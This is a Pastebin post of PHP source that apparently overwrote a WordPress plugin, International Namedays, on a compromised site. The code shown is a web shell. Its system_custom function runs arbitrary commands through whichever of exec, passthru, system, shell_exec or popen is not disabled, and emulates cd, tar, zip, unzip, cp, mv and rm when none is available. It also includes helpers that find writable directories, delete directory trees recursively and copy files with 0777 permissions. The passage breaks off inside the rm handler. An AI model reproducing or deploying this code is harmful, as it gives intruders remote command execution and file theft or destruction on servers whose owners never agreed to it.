farkasdaniel

Cracked (overwrited) WP International Namedays plugin source

Feb 14th, 2014
164
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 32.56 KB | None | 0 0
  1. <?php
  2. set_magic_quotes_runtime(0);
  3.  
  4. if(strtolower(substr(PHP_OS,0,3)) == "win") {
  5.     define('DS', "\\") ;
  6.     $os = 'win';
  7. } else {
  8.     define('DS', "/") ;
  9.     $os = 'nix';
  10. }
  11.  
  12. if(!function_exists("scandir")) {
  13.     function scandir($dir) {
  14.         $dh  = opendir($dir);
  15.         while (false !== ($filename = readdir($dh)))
  16.             $files[] = $filename;
  17.         return $files;
  18.     }
  19. }
  20.  
  21. function scandir_rec($dir, $dirs_only=false, $maxdepth=0, $writable=false, $no_root=false) {
  22.     $_content = scandir($dir) ;
  23.     $content = array() ;
  24.  
  25.     if(!$no_root) {
  26.         if(is_dir($dir) || !$dirs_only) {
  27.             if(!$writable || is_writeable($dir)) {
  28.                 $content[] = $dir ;
  29.             }
  30.         }
  31.     }
  32.  
  33.     if($_content && is_array($_content)) {
  34.         foreach($_content as $k=>$v) {
  35.             if(!preg_match("/^\./", $v)) {
  36.                 if(is_dir($dir . DS . $v) || !$dirs_only) {
  37.                     if(!$writable || is_writeable($dir . DS . $v)) {
  38.                         $content[] = $dir . DS . $v ;
  39.                     }
  40.                 }
  41.             }
  42.             if(!preg_match("/^\./", $v) && is_dir($dir . DS . $v)) {
  43.                 if($maxdepth > 0) {
  44.                     $__content = scandir_rec($dir . DS . $v, $dirs_only, $maxdepth-1, $writable, true) ;
  45.                     if($__content) {
  46.                         foreach($__content as $kk=>$vv) {
  47.                             if(is_dir($dir . DS . $v) || !$dirs_only) {
  48.                                 if(!$writable || is_writeable($dir . DS . $vv)) {
  49.                                     $content[] = $vv ;
  50.                                 }
  51.                             }
  52.                         }
  53.                     }
  54.                 }
  55.             }    
  56.         }
  57.     }
  58.     return $content ;
  59. }
  60.  
  61. function cust_function_exists($function) {
  62.   $disabled = explode(', ', ini_get('disable_functions'));
  63.   return !in_array($function, $disabled) && function_exists($function);
  64. }
  65.  
  66. function deleteDir($path) {
  67.     $path = (substr($path,-1)=='/') ? $path:$path.'/';
  68.     $dh  = opendir($path);
  69.     while ( ($item = readdir($dh) ) !== false) {
  70.         $item = $path.$item;
  71.         if ( (basename($item) == "..") || (basename($item) == ".") )
  72.             continue;
  73.         if (is_dir($item)) {
  74.             deleteDir($item);
  75.         } elseif(is_file($item)) {
  76.             @unlink($item);
  77.         }
  78.     }
  79.     closedir($dh);
  80.     @rmdir($path);
  81. }
  82.  
  83. function smartCopy($source, $dest, $options=array('folderPermission'=>0777,'filePermission'=>0777)) {
  84.     $result=false;
  85.  
  86.     if (is_file($source)) {
  87.         if ($dest[strlen($dest)-1]=='/') {
  88.             if (!file_exists($dest)) {
  89.                 cmfcDirectory::makeAll($dest,$options['folderPermission'],true);
  90.             }
  91.             $__dest=$dest."/".basename($source);
  92.         } else {
  93.             $__dest=$dest;
  94.         }
  95.         $result=copy($source, $__dest);
  96.         chmod($__dest,$options['filePermission']);
  97.  
  98.      } elseif(is_dir($source)) {
  99.         if ($dest[strlen($dest)-1]=='/') {
  100.             if ($source[strlen($source)-1]=='/') {
  101.                 //Copy only contents
  102.             } else {
  103.                 //Change parent itself and its contents
  104.                 $dest=$dest.basename($source);
  105.                 @mkdir($dest);
  106.                 chmod($dest,$options['filePermission']);
  107.             }
  108.         } else {
  109.             if ($source[strlen($source)-1]=='/') {
  110.                 //Copy parent directory with new name and all its content
  111.                 @mkdir($dest,$options['folderPermission']);
  112.                 chmod($dest,$options['filePermission']);
  113.             } else {
  114.                 //Copy parent directory with new name and all its content
  115.                 @mkdir($dest,$options['folderPermission']);
  116.                 chmod($dest,$options['filePermission']);
  117.             }
  118.         }
  119.  
  120.         $dirHandle=opendir($source);
  121.         while($file=readdir($dirHandle))
  122.         {
  123.             if($file!="." && $file!="..")
  124.             {
  125.                 if(!is_dir($source."/".$file)) {
  126.                     $__dest=$dest."/".$file;
  127.                 } else {
  128.                     $__dest=$dest."/".$file;
  129.                 }
  130.                 //echo "$source/$file ||| $__dest<br />";
  131.                 $result=smartCopy($source."/".$file, $__dest, $options);
  132.             }
  133.         }
  134.         closedir($dirHandle);
  135.  
  136.     } else {
  137.         $result=false;
  138.     }
  139.     return $result;
  140.  }
  141.  
  142. class archive
  143. {
  144.     function archive($name)
  145.     {
  146.         $this->options = array (
  147.             'basedir' => ".",
  148.             'name' => $name,
  149.             'prepend' => "",
  150.             'inmemory' => 0,
  151.             'overwrite' => 0,
  152.             'recurse' => 1,
  153.             'storepaths' => 1,
  154.             'followlinks' => 0,
  155.             'level' => 3,
  156.             'method' => 1,
  157.             'sfx' => "",
  158.             'type' => "",
  159.             'comment' => ""
  160.         );
  161.         $this->files = array ();
  162.         $this->exclude = array ();
  163.         $this->storeonly = array ();
  164.         $this->error = array ();
  165.     }
  166.  
  167.     function set_options($options)
  168.     {
  169.         foreach ($options as $key => $value)
  170.             $this->options[$key] = $value;
  171.         if (!empty ($this->options['basedir']))
  172.         {
  173.             $this->options['basedir'] = str_replace("\\", "/", $this->options['basedir']);
  174.             $this->options['basedir'] = preg_replace("/\/+/", "/", $this->options['basedir']);
  175.             $this->options['basedir'] = preg_replace("/\/$/", "", $this->options['basedir']);
  176.         }
  177.         if (!empty ($this->options['name']))
  178.         {
  179.             $this->options['name'] = str_replace("\\", "/", $this->options['name']);
  180.             $this->options['name'] = preg_replace("/\/+/", "/", $this->options['name']);
  181.         }
  182.         if (!empty ($this->options['prepend']))
  183.         {
  184.             $this->options['prepend'] = str_replace("\\", "/", $this->options['prepend']);
  185.             $this->options['prepend'] = preg_replace("/^(\.*\/+)+/", "", $this->options['prepend']);
  186.             $this->options['prepend'] = preg_replace("/\/+/", "/", $this->options['prepend']);
  187.             $this->options['prepend'] = preg_replace("/\/$/", "", $this->options['prepend']) . "/";
  188.         }
  189.     }
  190.  
  191.     function create_archive()
  192.     {
  193.         $this->make_list();
  194.  
  195.         if ($this->options['inmemory'] == 0)
  196.         {
  197.             $pwd = getcwd();
  198.             chdir($this->options['basedir']);
  199.             if ($this->options['overwrite'] == 0 && file_exists($this->options['name'] . ($this->options['type'] == "gzip" || $this->options['type'] == "bzip" ? ".tmp" : "")))
  200.             {
  201.                 $this->error[] = "File {$this->options['name']} already exists.";
  202.                 chdir($pwd);
  203.                 return 0;
  204.             }
  205.             else if ($this->archive = @fopen($this->options['name'] . ($this->options['type'] == "gzip" || $this->options['type'] == "bzip" ? ".tmp" : ""), "wb+"))
  206.                 chdir($pwd);
  207.             else
  208.             {
  209.                 $this->error[] = "Could not open {$this->options['name']} for writing.";
  210.                 chdir($pwd);
  211.                 return 0;
  212.             }
  213.         }
  214.         else
  215.             $this->archive = "";
  216.  
  217.         switch ($this->options['type'])
  218.         {
  219.         case "zip":
  220.             if (!$this->create_zip())
  221.             {
  222.                 $this->error[] = "Could not create zip file.";
  223.                 return 0;
  224.             }
  225.             break;
  226.         case "bzip":
  227.             if (!$this->create_tar())
  228.             {
  229.                 $this->error[] = "Could not create tar file.";
  230.                 return 0;
  231.             }
  232.             if (!$this->create_bzip())
  233.             {
  234.                 $this->error[] = "Could not create bzip2 file.";
  235.                 return 0;
  236.             }
  237.             break;
  238.         case "gzip":
  239.             if (!$this->create_tar())
  240.             {
  241.                 $this->error[] = "Could not create tar file.";
  242.                 return 0;
  243.             }
  244.             if (!$this->create_gzip())
  245.             {
  246.                 $this->error[] = "Could not create gzip file.";
  247.                 return 0;
  248.             }
  249.             break;
  250.         case "tar":
  251.             if (!$this->create_tar())
  252.             {
  253.                 $this->error[] = "Could not create tar file.";
  254.                 return 0;
  255.             }
  256.         }
  257.  
  258.         if ($this->options['inmemory'] == 0)
  259.         {
  260.             fclose($this->archive);
  261.             if ($this->options['type'] == "gzip" || $this->options['type'] == "bzip")
  262.                 unlink($this->options['basedir'] . "/" . $this->options['name'] . ".tmp");
  263.         }
  264.     }
  265.  
  266.     function add_data($data)
  267.     {
  268.         if ($this->options['inmemory'] == 0)
  269.             fwrite($this->archive, $data);
  270.         else
  271.             $this->archive .= $data;
  272.     }
  273.  
  274.     function make_list()
  275.     {
  276.         if (!empty ($this->exclude))
  277.             foreach ($this->files as $key => $value)
  278.                 foreach ($this->exclude as $current)
  279.                     if ($value['name'] == $current['name'])
  280.                         unset ($this->files[$key]);
  281.         if (!empty ($this->storeonly))
  282.             foreach ($this->files as $key => $value)
  283.                 foreach ($this->storeonly as $current)
  284.                     if ($value['name'] == $current['name'])
  285.                         $this->files[$key]['method'] = 0;
  286.         unset ($this->exclude, $this->storeonly);
  287.     }
  288.  
  289.     function add_files($list)
  290.     {
  291.         $temp = $this->list_files($list);
  292.         foreach ($temp as $current)
  293.             $this->files[] = $current;
  294.     }
  295.  
  296.     function exclude_files($list)
  297.     {
  298.         $temp = $this->list_files($list);
  299.         foreach ($temp as $current)
  300.             $this->exclude[] = $current;
  301.     }
  302.  
  303.     function store_files($list)
  304.     {
  305.         $temp = $this->list_files($list);
  306.         foreach ($temp as $current)
  307.             $this->storeonly[] = $current;
  308.     }
  309.  
  310.     function list_files($list)
  311.     {
  312.         if (!is_array ($list))
  313.         {
  314.             $temp = $list;
  315.             $list = array ($temp);
  316.             unset ($temp);
  317.         }
  318.  
  319.         $files = array ();
  320.  
  321.         $pwd = getcwd();
  322.         chdir($this->options['basedir']);
  323.  
  324.         foreach ($list as $current)
  325.         {
  326.             $current = str_replace("\\", "/", $current);
  327.             $current = preg_replace("/\/+/", "/", $current);
  328.             $current = preg_replace("/\/$/", "", $current);
  329.             if (strstr($current, "*"))
  330.             {
  331.                 $regex = preg_replace("/([\\\^\$\.\[\]\|\(\)\?\+\{\}\/])/", "\\\\\\1", $current);
  332.                 $regex = str_replace("*", ".*", $regex);
  333.                 $dir = strstr($current, "/") ? substr($current, 0, strrpos($current, "/")) : ".";
  334.                 $temp = $this->parse_dir($dir);
  335.                 foreach ($temp as $current2)
  336.                     if (preg_match("/^{$regex}$/i", $current2['name']))
  337.                         $files[] = $current2;
  338.                 unset ($regex, $dir, $temp, $current);
  339.             }
  340.             else if (@is_dir($current))
  341.             {
  342.                 $temp = $this->parse_dir($current);
  343.                 foreach ($temp as $file)
  344.                     $files[] = $file;
  345.                 unset ($temp, $file);
  346.             }
  347.             else if (@file_exists($current))
  348.                 $files[] = array ('name' => $current, 'name2' => $this->options['prepend'] .
  349.                     preg_replace("/(\.+\/+)+/", "", ($this->options['storepaths'] == 0 && strstr($current, "/")) ?
  350.                     substr($current, strrpos($current, "/") + 1) : $current),
  351.                     'type' => @is_link($current) && $this->options['followlinks'] == 0 ? 2 : 0,
  352.                     'ext' => substr($current, strrpos($current, ".")), 'stat' => stat($current));
  353.         }
  354.  
  355.         chdir($pwd);
  356.  
  357.         unset ($current, $pwd);
  358.  
  359.         usort($files, array ("archive", "sort_files"));
  360.  
  361.         return $files;
  362.     }
  363.  
  364.     function parse_dir($dirname)
  365.     {
  366.         if ($this->options['storepaths'] == 1 && !preg_match("/^(\.+\/*)+$/", $dirname))
  367.             $files = array (array ('name' => $dirname, 'name2' => $this->options['prepend'] .
  368.                 preg_replace("/(\.+\/+)+/", "", ($this->options['storepaths'] == 0 && strstr($dirname, "/")) ?
  369.                 substr($dirname, strrpos($dirname, "/") + 1) : $dirname), 'type' => 5, 'stat' => stat($dirname)));
  370.         else
  371.             $files = array ();
  372.         $dir = @opendir($dirname);
  373.  
  374.         while ($file = @readdir($dir))
  375.         {
  376.             $fullname = $dirname . "/" . $file;
  377.             if ($file == "." || $file == "..")
  378.                 continue;
  379.             else if (@is_dir($fullname))
  380.             {
  381.                 if (empty ($this->options['recurse']))
  382.                     continue;
  383.                 $temp = $this->parse_dir($fullname);
  384.                 foreach ($temp as $file2)
  385.                     $files[] = $file2;
  386.             }
  387.             else if (@file_exists($fullname))
  388.                 $files[] = array ('name' => $fullname, 'name2' => $this->options['prepend'] .
  389.                     preg_replace("/(\.+\/+)+/", "", ($this->options['storepaths'] == 0 && strstr($fullname, "/")) ?
  390.                     substr($fullname, strrpos($fullname, "/") + 1) : $fullname),
  391.                     'type' => @is_link($fullname) && $this->options['followlinks'] == 0 ? 2 : 0,
  392.                     'ext' => substr($file, strrpos($file, ".")), 'stat' => stat($fullname));
  393.         }
  394.  
  395.         @closedir($dir);
  396.  
  397.         return $files;
  398.     }
  399.  
  400.     function sort_files($a, $b)
  401.     {
  402.         if ($a['type'] != $b['type'])
  403.             if ($a['type'] == 5 || $b['type'] == 2)
  404.                 return -1;
  405.             else if ($a['type'] == 2 || $b['type'] == 5)
  406.                 return 1;
  407.         else if ($a['type'] == 5)
  408.             return strcmp(strtolower($a['name']), strtolower($b['name']));
  409.         else if ($a['ext'] != $b['ext'])
  410.             return strcmp($a['ext'], $b['ext']);
  411.         else if ($a['stat'][7] != $b['stat'][7])
  412.             return $a['stat'][7] > $b['stat'][7] ? -1 : 1;
  413.         else
  414.             return strcmp(strtolower($a['name']), strtolower($b['name']));
  415.         return 0;
  416.     }
  417.  
  418.     function download_file()
  419.     {
  420.         if ($this->options['inmemory'] == 0)
  421.         {
  422.             $this->error[] = "Can only use download_file() if archive is in memory. Redirect to file otherwise, it is faster.";
  423.             return;
  424.         }
  425.         switch ($this->options['type'])
  426.         {
  427.         case "zip":
  428.             header("Content-Type: application/zip");
  429.             break;
  430.         case "bzip":
  431.             header("Content-Type: application/x-bzip2");
  432.             break;
  433.         case "gzip":
  434.             header("Content-Type: application/x-gzip");
  435.             break;
  436.         case "tar":
  437.             header("Content-Type: application/x-tar");
  438.         }
  439.         $header = "Content-Disposition: attachment; filename=\"";
  440.         $header .= strstr($this->options['name'], "/") ? substr($this->options['name'], strrpos($this->options['name'], "/") + 1) : $this->options['name'];
  441.         $header .= "\"";
  442.         header($header);
  443.         header("Content-Length: " . strlen($this->archive));
  444.         header("Content-Transfer-Encoding: binary");
  445.         header("Cache-Control: no-cache, must-revalidate, max-age=60");
  446.         header("Expires: Sat, 01 Jan 2000 12:00:00 GMT");
  447.         print($this->archive);
  448.     }
  449. }
  450.  
  451. class tar_file extends archive
  452. {
  453.     function tar_file($name)
  454.     {
  455.         $this->archive($name);
  456.         $this->options['type'] = "tar";
  457.     }
  458.  
  459.     function create_tar()
  460.     {
  461.         $pwd = getcwd();
  462.         chdir($this->options['basedir']);
  463.  
  464.         foreach ($this->files as $current)
  465.         {
  466.             if ($current['name'] == $this->options['name'])
  467.                 continue;
  468.             if (strlen($current['name2']) > 99)
  469.             {
  470.                 $path = substr($current['name2'], 0, strpos($current['name2'], "/", strlen($current['name2']) - 100) + 1);
  471.                 $current['name2'] = substr($current['name2'], strlen($path));
  472.                 if (strlen($path) > 154 || strlen($current['name2']) > 99)
  473.                 {
  474.                     $this->error[] = "Could not add {$path}{$current['name2']} to archive because the filename is too long.";
  475.                     continue;
  476.                 }
  477.             }
  478.             $block = pack("a100a8a8a8a12a12a8a1a100a6a2a32a32a8a8a155a12", $current['name2'], sprintf("%07o",
  479.                 $current['stat'][2]), sprintf("%07o", $current['stat'][4]), sprintf("%07o", $current['stat'][5]),
  480.                 sprintf("%011o", $current['type'] == 2 ? 0 : $current['stat'][7]), sprintf("%011o", $current['stat'][9]),
  481.                 "        ", $current['type'], $current['type'] == 2 ? @readlink($current['name']) : "", "ustar ", " ",
  482.                 "Unknown", "Unknown", "", "", !empty ($path) ? $path : "", "");
  483.  
  484.             $checksum = 0;
  485.             for ($i = 0; $i < 512; $i++)
  486.                 $checksum += ord(substr($block, $i, 1));
  487.             $checksum = pack("a8", sprintf("%07o", $checksum));
  488.             $block = substr_replace($block, $checksum, 148, 8);
  489.  
  490.             if ($current['type'] == 2 || $current['stat'][7] == 0)
  491.                 $this->add_data($block);
  492.             else if ($fp = @fopen($current['name'], "rb"))
  493.             {
  494.                 $this->add_data($block);
  495.                 while ($temp = fread($fp, 1048576))
  496.                     $this->add_data($temp);
  497.                 if ($current['stat'][7] % 512 > 0)
  498.                 {
  499.                     $temp = "";
  500.                     for ($i = 0; $i < 512 - $current['stat'][7] % 512; $i++)
  501.                         $temp .= "\0";
  502.                     $this->add_data($temp);
  503.                 }
  504.                 fclose($fp);
  505.             }
  506.             else
  507.                 $this->error[] = "Could not open file {$current['name']} for reading. It was not added.";
  508.         }
  509.  
  510.         $this->add_data(pack("a1024", ""));
  511.  
  512.         chdir($pwd);
  513.  
  514.         return 1;
  515.     }
  516.  
  517.     function extract_files()
  518.     {
  519.         $pwd = getcwd();
  520.         chdir($this->options['basedir']);
  521.  
  522.         if ($fp = $this->open_archive())
  523.         {
  524.             if ($this->options['inmemory'] == 1)
  525.                 $this->files = array ();
  526.  
  527.             while ($block = fread($fp, 512))
  528.             {
  529.                 $temp = unpack("a100name/a8mode/a8uid/a8gid/a12size/a12mtime/a8checksum/a1type/a100symlink/a6magic/a2temp/a32temp/a32temp/a8temp/a8temp/a155prefix/a12temp", $block);
  530.                 $file = array (
  531.                     'name' => $temp['prefix'] . $temp['name'],
  532.                     'stat' => array (
  533.                         2 => $temp['mode'],
  534.                         4 => octdec($temp['uid']),
  535.                         5 => octdec($temp['gid']),
  536.                         7 => octdec($temp['size']),
  537.                         9 => octdec($temp['mtime']),
  538.                     ),
  539.                     'checksum' => octdec($temp['checksum']),
  540.                     'type' => $temp['type'],
  541.                     'magic' => $temp['magic'],
  542.                 );
  543.                 if ($file['checksum'] == 0x00000000)
  544.                     break;
  545.                 else if (substr($file['magic'], 0, 5) != "ustar")
  546.                 {
  547.                     $this->error[] = "This script does not support extracting this type of tar file.";
  548.                     break;
  549.                 }
  550.                 $block = substr_replace($block, "        ", 148, 8);
  551.                 $checksum = 0;
  552.                 for ($i = 0; $i < 512; $i++)
  553.                     $checksum += ord(substr($block, $i, 1));
  554.                 if ($file['checksum'] != $checksum)
  555.                     $this->error[] = "Could not extract from {$this->options['name']}, it is corrupt.";
  556.  
  557.                 if ($this->options['inmemory'] == 1)
  558.                 {
  559.                     $file['data'] = fread($fp, $file['stat'][7]);
  560.                     fread($fp, (512 - $file['stat'][7] % 512) == 512 ? 0 : (512 - $file['stat'][7] % 512));
  561.                     unset ($file['checksum'], $file['magic']);
  562.                     $this->files[] = $file;
  563.                 }
  564.                 else if ($file['type'] == 5)
  565.                 {
  566.                     if (!is_dir($file['name']))
  567.                         mkdir($file['name'], $file['stat'][2]);
  568.                 }
  569.                 else if ($this->options['overwrite'] == 0 && file_exists($file['name']))
  570.                 {
  571.                     $this->error[] = "{$file['name']} already exists.";
  572.                     continue;
  573.                 }
  574.                 else if ($file['type'] == 2)
  575.                 {
  576.                     symlink($temp['symlink'], $file['name']);
  577.                     chmod($file['name'], $file['stat'][2]);
  578.                 }
  579.                 else if ($new = @fopen($file['name'], "wb"))
  580.                 {
  581.                     fwrite($new, fread($fp, $file['stat'][7]));
  582.                     fread($fp, (512 - $file['stat'][7] % 512) == 512 ? 0 : (512 - $file['stat'][7] % 512));
  583.                     fclose($new);
  584.                     chmod($file['name'], $file['stat'][2]);
  585.                 }
  586.                 else
  587.                 {
  588.                     $this->error[] = "Could not open {$file['name']} for writing.";
  589.                     continue;
  590.                 }
  591.                 chown($file['name'], $file['stat'][4]);
  592.                 chgrp($file['name'], $file['stat'][5]);
  593.                 touch($file['name'], $file['stat'][9]);
  594.                 unset ($file);
  595.             }
  596.         }
  597.         else
  598.             $this->error[] = "Could not open file {$this->options['name']}";
  599.  
  600.         chdir($pwd);
  601.     }
  602.  
  603.     function open_archive()
  604.     {
  605.         return @fopen($this->options['name'], "rb");
  606.     }
  607. }
  608.  
  609. class gzip_file extends tar_file
  610. {
  611.     function gzip_file($name)
  612.     {
  613.         $this->tar_file($name);
  614.         $this->options['type'] = "gzip";
  615.     }
  616.  
  617.     function create_gzip()
  618.     {
  619.         if ($this->options['inmemory'] == 0)
  620.         {
  621.             $pwd = getcwd();
  622.             chdir($this->options['basedir']);
  623.             if ($fp = gzopen($this->options['name'], "wb{$this->options['level']}"))
  624.             {
  625.                 fseek($this->archive, 0);
  626.                 while ($temp = fread($this->archive, 1048576))
  627.                     gzwrite($fp, $temp);
  628.                 gzclose($fp);
  629.                 chdir($pwd);
  630.             }
  631.             else
  632.             {
  633.                 $this->error[] = "Could not open {$this->options['name']} for writing.";
  634.                 chdir($pwd);
  635.                 return 0;
  636.             }
  637.         }
  638.         else
  639.             $this->archive = gzencode($this->archive, $this->options['level']);
  640.  
  641.         return 1;
  642.     }
  643.  
  644.     function open_archive()
  645.     {
  646.         return @gzopen($this->options['name'], "rb");
  647.     }
  648. }
  649.  
  650. class bzip_file extends tar_file
  651. {
  652.     function bzip_file($name)
  653.     {
  654.         $this->tar_file($name);
  655.         $this->options['type'] = "bzip";
  656.     }
  657.  
  658.     function create_bzip()
  659.     {
  660.         if ($this->options['inmemory'] == 0)
  661.         {
  662.             $pwd = getcwd();
  663.             chdir($this->options['basedir']);
  664.             if ($fp = bzopen($this->options['name'], "wb"))
  665.             {
  666.                 fseek($this->archive, 0);
  667.                 while ($temp = fread($this->archive, 1048576))
  668.                     bzwrite($fp, $temp);
  669.                 bzclose($fp);
  670.                 chdir($pwd);
  671.             }
  672.             else
  673.             {
  674.                 $this->error[] = "Could not open {$this->options['name']} for writing.";
  675.                 chdir($pwd);
  676.                 return 0;
  677.             }
  678.         }
  679.         else
  680.             $this->archive = bzcompress($this->archive, $this->options['level']);
  681.  
  682.         return 1;
  683.     }
  684.  
  685.     function open_archive()
  686.     {
  687.         return @bzopen($this->options['name'], "rb");
  688.     }
  689. }
  690.  
  691. class zip_file extends archive
  692. {
  693.     function zip_file($name)
  694.     {
  695.         $this->archive($name);
  696.         $this->options['type'] = "zip";
  697.     }
  698.  
  699.     function create_zip()
  700.     {
  701.         $files = 0;
  702.         $offset = 0;
  703.         $central = "";
  704.  
  705.         if (!empty ($this->options['sfx']))
  706.             if ($fp = @fopen($this->options['sfx'], "rb"))
  707.             {
  708.                 $temp = fread($fp, filesize($this->options['sfx']));
  709.                 fclose($fp);
  710.                 $this->add_data($temp);
  711.                 $offset += strlen($temp);
  712.                 unset ($temp);
  713.             }
  714.             else
  715.                 $this->error[] = "Could not open sfx module from {$this->options['sfx']}.";
  716.  
  717.         $pwd = getcwd();
  718.         chdir($this->options['basedir']);
  719.  
  720.         foreach ($this->files as $current)
  721.         {
  722.             if ($current['name'] == $this->options['name'])
  723.                 continue;
  724.  
  725.             $timedate = explode(" ", date("Y n j G i s", $current['stat'][9]));
  726.             $timedate = ($timedate[0] - 1980 << 25) | ($timedate[1] << 21) | ($timedate[2] << 16) |
  727.                 ($timedate[3] << 11) | ($timedate[4] << 5) | ($timedate[5]);
  728.  
  729.             $block = pack("VvvvV", 0x04034b50, 0x000A, 0x0000, (isset($current['method']) || $this->options['method'] == 0) ? 0x0000 : 0x0008, $timedate);
  730.  
  731.             if ($current['stat'][7] == 0 && $current['type'] == 5)
  732.             {
  733.                 $block .= pack("VVVvv", 0x00000000, 0x00000000, 0x00000000, strlen($current['name2']) + 1, 0x0000);
  734.                 $block .= $current['name2'] . "/";
  735.                 $this->add_data($block);
  736.                 $central .= pack("VvvvvVVVVvvvvvVV", 0x02014b50, 0x0014, $this->options['method'] == 0 ? 0x0000 : 0x000A, 0x0000,
  737.                     (isset($current['method']) || $this->options['method'] == 0) ? 0x0000 : 0x0008, $timedate,
  738.                     0x00000000, 0x00000000, 0x00000000, strlen($current['name2']) + 1, 0x0000, 0x0000, 0x0000, 0x0000, $current['type'] == 5 ? 0x00000010 : 0x00000000, $offset);
  739.                 $central .= $current['name2'] . "/";
  740.                 $files++;
  741.                 $offset += (31 + strlen($current['name2']));
  742.             }
  743.             else if ($current['stat'][7] == 0)
  744.             {
  745.                 $block .= pack("VVVvv", 0x00000000, 0x00000000, 0x00000000, strlen($current['name2']), 0x0000);
  746.                 $block .= $current['name2'];
  747.                 $this->add_data($block);
  748.                 $central .= pack("VvvvvVVVVvvvvvVV", 0x02014b50, 0x0014, $this->options['method'] == 0 ? 0x0000 : 0x000A, 0x0000,
  749.                     (isset($current['method']) || $this->options['method'] == 0) ? 0x0000 : 0x0008, $timedate,
  750.                     0x00000000, 0x00000000, 0x00000000, strlen($current['name2']), 0x0000, 0x0000, 0x0000, 0x0000, $current['type'] == 5 ? 0x00000010 : 0x00000000, $offset);
  751.                 $central .= $current['name2'];
  752.                 $files++;
  753.                 $offset += (30 + strlen($current['name2']));
  754.             }
  755.             else if ($fp = @fopen($current['name'], "rb"))
  756.             {
  757.                 $temp = fread($fp, $current['stat'][7]);
  758.                 fclose($fp);
  759.                 $crc32 = crc32($temp);
  760.                 if (!isset($current['method']) && $this->options['method'] == 1)
  761.                 {
  762.                     $temp = gzcompress($temp, $this->options['level']);
  763.                     $size = strlen($temp) - 6;
  764.                     $temp = substr($temp, 2, $size);
  765.                 }
  766.                 else
  767.                     $size = strlen($temp);
  768.                 $block .= pack("VVVvv", $crc32, $size, $current['stat'][7], strlen($current['name2']), 0x0000);
  769.                 $block .= $current['name2'];
  770.                 $this->add_data($block);
  771.                 $this->add_data($temp);
  772.                 unset ($temp);
  773.                 $central .= pack("VvvvvVVVVvvvvvVV", 0x02014b50, 0x0014, $this->options['method'] == 0 ? 0x0000 : 0x000A, 0x0000,
  774.                     (isset($current['method']) || $this->options['method'] == 0) ? 0x0000 : 0x0008, $timedate,
  775.                     $crc32, $size, $current['stat'][7], strlen($current['name2']), 0x0000, 0x0000, 0x0000, 0x0000, 0x00000000, $offset);
  776.                 $central .= $current['name2'];
  777.                 $files++;
  778.                 $offset += (30 + strlen($current['name2']) + $size);
  779.             }
  780.             else
  781.                 $this->error[] = "Could not open file {$current['name']} for reading. It was not added.";
  782.         }
  783.  
  784.         $this->add_data($central);
  785.  
  786.         $this->add_data(pack("VvvvvVVv", 0x06054b50, 0x0000, 0x0000, $files, $files, strlen($central), $offset,
  787.             !empty ($this->options['comment']) ? strlen($this->options['comment']) : 0x0000));
  788.  
  789.         if (!empty ($this->options['comment']))
  790.             $this->add_data($this->options['comment']);
  791.  
  792.         chdir($pwd);
  793.  
  794.         return 1;
  795.     }
  796. }
  797.  
  798. function copy_paste($c,$s,$d){
  799.     if(is_dir($c.$s)) {
  800.         mkdir($d.$s);
  801.         $h = @opendir($c.$s);
  802.         while (($f = @readdir($h)) !== false) {
  803.             if (($f != ".") and ($f != "..")) {
  804.                 copy_paste($c.$s.DS,$f, $d.$s.DS);
  805.             }
  806.         }
  807.     } elseif(is_file($c.$s)) {
  808.         @copy($c.$s, $d.$s);
  809.     }
  810. }
  811.  
  812. function system_custom($in) {
  813.  
  814.     $out = '';
  815.     $system = false ;
  816.     if (cust_function_exists('exec')) {
  817.         $system = true ;
  818.         @exec($in,$out);
  819.         $out = @join("\n",$out);
  820.     } elseif (cust_function_exists('passthru')) {
  821.         $system = true ;
  822.         ob_start();
  823.         @passthru($in);
  824.         $out = ob_get_clean();
  825.     } elseif (cust_function_exists('system')) {
  826.         $system = true ;
  827.         ob_start();
  828.         @system($in);
  829.         $out = ob_get_clean();
  830.     } elseif (cust_function_exists('shell_exec')) {
  831.         $system = true ;
  832.         $out = shell_exec($in);
  833.     } elseif (is_resource($f = @popen($in,"r"))) {
  834.         $system = true ;
  835.         $out = "";
  836.         while(!@feof($f))
  837.             $out .= fread($f,1024);
  838.         pclose($f);
  839.     }
  840.  
  841.     if($system) {
  842.         return $out;
  843.     }
  844.  
  845.     $commands = explode(";", $in) ;
  846.  
  847.     $out = '' ;
  848.     $path = '' ;
  849.  
  850.     if($commands) {
  851.         foreach($commands as $command) {
  852.             $command_parts = explode(" ", $command) ;
  853.             $command_head = $command_parts[0] ;
  854.             $params = array() ;
  855.             if(count($command_parts) > 1) {
  856.                 for($i=1;$i<count($command_parts);$i++) {
  857.                     $params[] = trim($command_parts[$i]) ;
  858.                 }
  859.             }
  860.  
  861.             switch($command_head) {
  862.             case "cd":
  863.                 if($params[0]) {
  864.                     $path = $params[0] ;
  865.                     if(is_dir($path)) {
  866.                         @chdir($path) ;
  867.                     }
  868.                 }
  869.                 break;
  870.             case "tar":
  871.                 if(count($params) > 1) {
  872.                     $archive = new gzip_file($params[0]);
  873.                     $archive->set_options(array('basedir' => $path, 'overwrite' => 1, 'level' => 1));
  874.                     $archive->add_files(array($params[1]));
  875.                     $archive->create_archive();
  876.                 }
  877.                 break;
  878.             case "zip":
  879.                 if(class_exists('ZipArchive') && count($params) > 1) {
  880.                     $zip = new ZipArchive();
  881.                     if ($zip->open($params[0], 1)) {
  882.                         foreach($params as $k=>$param) {
  883.                             if($k == 0 || $param == '..')
  884.                                 continue;
  885.                             if(@is_file($param))
  886.                                 $zip->addFile($param, $param);
  887.                             elseif(@is_dir($param)) {
  888.                                 $iterator = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($param.DS));
  889.                                 foreach ($iterator as $key=>$value) {
  890.                                     $zip->addFile(realpath($key), $key);
  891.                                 }
  892.                             }
  893.                         }
  894.                         $zip->close();
  895.                     }
  896.                 }
  897.                 break;
  898.             case "unzip":
  899.                 if(class_exists('ZipArchive') && count($params) > 0) {
  900.                     $zip = new ZipArchive();
  901.                     foreach($params as $k=>$param) {
  902.                         if($zip->open($param)) {
  903.                             $zip->extractTo($path);
  904.                             $zip->close();
  905.                         }
  906.                     }
  907.                 }                
  908.                 break;
  909.             case "cp":
  910.                 smartCopy($params[0], $params[1]) ;
  911.                 break;
  912.             case "mv":
  913.                 @rename($params[0], $params[1]) ;
  914.                 break;
  915.             case "rm":
  916.                 foreach($params as $param) {
  917.                     if(!preg_match("/^-/", $param)) {
  918.                         if($param == '..')
  919.                             continue;
  920.                         $param = urldecode($param);
